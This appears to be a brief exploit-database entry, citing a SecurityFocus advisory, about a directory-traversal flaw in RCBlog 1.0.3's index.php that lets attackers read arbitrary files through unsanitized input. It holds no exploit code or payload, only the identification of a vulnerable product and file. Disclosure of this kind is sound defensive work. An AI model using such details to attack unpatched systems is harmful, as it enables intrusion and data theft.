RCBlog 1.0.3 - 'index.php' Directory Traversal

source: https://www.securityfocus.com/bid/16342/info

RCBlog is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks.

Version 1.0.3 is vulnerable; other versions may also be affected.
